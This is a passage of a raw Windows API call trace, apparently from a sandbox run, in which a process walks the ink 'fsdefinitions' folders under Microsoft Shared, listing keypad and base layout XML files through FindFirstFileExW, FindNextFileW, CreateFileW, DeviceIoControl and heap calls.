lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.958] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0233.958] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0233.958] GetLastError () returned 0x12 [0233.958] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0233.958] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0233.958] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0233.958] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0233.958] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0233.958] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0233.958] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0233.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0233.958] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0233.958] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9043e0 [0233.958] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9043e0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9043e0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0233.958] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9043e0) returned 1 [0233.959] NtClose (Handle=0x1bc) returned 0x0 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0233.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0233.959] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.959] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffe08 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902a28 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffe28 [0233.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902b30 [0233.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0233.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0233.960] GetLastError () returned 0x12 [0233.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0233.960] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0233.960] GetLastError () returned 0x12 [0233.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0233.960] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0233.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0233.960] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0233.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0233.961] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0233.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9043e0 [0233.961] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9043e0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9043e0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0233.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9043e0) returned 1 [0233.961] NtClose (Handle=0x1b4) returned 0x0 [0233.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0233.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0233.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0233.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.040] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.040] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0234.040] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.047] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.056] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.056] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffe68 [0234.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902d40 [0234.058] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.072] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0234.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.072] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.073] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9043f8 [0234.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902e48 [0234.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.077] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0234.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904418 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902f50 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904438 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903058 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x380) returned 0x904be0 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ffe90) returned 1 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904458 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903160 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", 